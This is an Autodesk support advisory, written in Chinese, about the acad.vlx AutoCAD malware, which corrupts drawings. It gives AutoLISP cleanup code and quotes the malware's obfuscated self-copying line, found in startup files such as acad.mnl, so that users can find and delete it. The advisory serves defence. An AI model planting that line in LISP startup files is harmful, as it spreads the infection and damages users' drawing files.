問題
AutoCAD系列產品的用戶報告了一個名為acad.vlx的惡意文件,該文件會導致繪圖檔案損壞。
發佈日期:2010年03月25日 序列號:TS13717811 相關產品: | |
AutoCAD® 2011 AutoCAD® 2010 AutoCAD® 2009 AutoCAD® 2008 AutoCAD® 2007 AutoCAD® Architecture 2011 AutoCAD® Architecture 2010 AutoCAD® Architecture 2009 AutoCAD® Architecture 2008 Autodesk® Architectural Desktop 2007 AutoCAD® Civil 2010 AutoCAD® Civil 2009 AutoCAD® Civil 3D® 2010 AutoCAD® Civil 3D® 2009 AutoCAD® Civil 3D® 2008 Autodesk® Civil 3D® 2007 AutoCAD® Civil 3D® 2011 AutoCAD® Electrical 2011 AutoCAD® Electrical 2010 AutoCAD® Electrical 2009 AutoCAD® Electrical 2008 AutoCAD® Electrical 2007 | AutoCAD® Map 3D 2011 AutoCAD® Map 3D 2010 AutoCAD® Map 3D 2009 AutoCAD® Map 3D 2008 Autodesk Map® 3D 2007 AutoCAD® Mechanical 2011 AutoCAD® Mechanical 2010 AutoCAD® Mechanical 2009 AutoCAD® Mechanical 2008 AutoCAD® Mechanical 2007 AutoCAD® MEP 2011 AutoCAD® MEP 2010 AutoCAD® MEP 2009 AutoCAD® MEP 2008 AutoCAD® P&ID 2011 AutoCAD® P&ID 2010 AutoCAD® P&ID 2009 AutoCAD® P&ID 2008 AutoCAD® Raster Design 2010 AutoCAD Raster Design 2009 AutoCAD Raster Design 2008 Autodesk® Raster Design 2007 |
解決方法
這實際上不是Autodesk所提供的AutoCAD檔案。當AutoCAD載入acad.vlx惡意文件時,會使圖檔損壞,進而導致在您保存並重新打開工程圖時彈出缺少語言包 【Missing Language Pack 】對話方塊。
acad.vlx文件會在Help目錄裏創建一個副本(例如 C:\Program Files\AutoCAD 20xx\Help\logo.gif)。其他多個檔也會被修改,同時ACADLSPASDOC系統變數的值會被改為1,這將允許acad.vlx檔載入到其他開啟的工程圖中,導致工程圖損壞。
下述清理流程將在AutoCAD試圖載入acad.vlx檔之前發現該檔並將其刪除,防止病毒的傳播。
為了避免其它文件的損壞
您必須以Microsoft® Windows® 作業系統的系統管理員身份完成本流程。
- 在您的產品安裝目錄中,找到Support資料夾(例如 C:\Program Files\AutoCAD 20xx\Support)。
- 在Support文件夾內,編輯acad20xx.lsp檔(例如:acad20xx.lsp)。
在文件中加入下面的代碼。AutoCAD將可發現並刪除acad.vlx和logo.gif。
(defun cleanvirus( / lspfiles lspfile x)
(setq lspfiles '("acad.vlx" "logo.gif"))
(foreach lspfile lspfiles
(while (setq x (findfile lspfile))
(progn
(vl-file-delete x)
(princ "\nDeleted file ")
(princ x)
);progn
);while
);foreach
)
(cleanvirus) - 以文字編輯器打開下面的所有檔:
C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp
C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp
ROAMABLEROOTPREFIX\Support\acad.mnl
備註:ROAMABLEROOTPREFIX是一個目錄變數,在CAD指令列執行ROAMABLEROOTPREFIX,即可得到該目錄資訊。將ROAMABLEROOTPREFIX替換為ROAMABLEROOTPREFIX系統變數的返回值。 - 如果出現下列代碼,請刪除:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
- 將以上修改檔案存檔。
資料來源:Autodesk®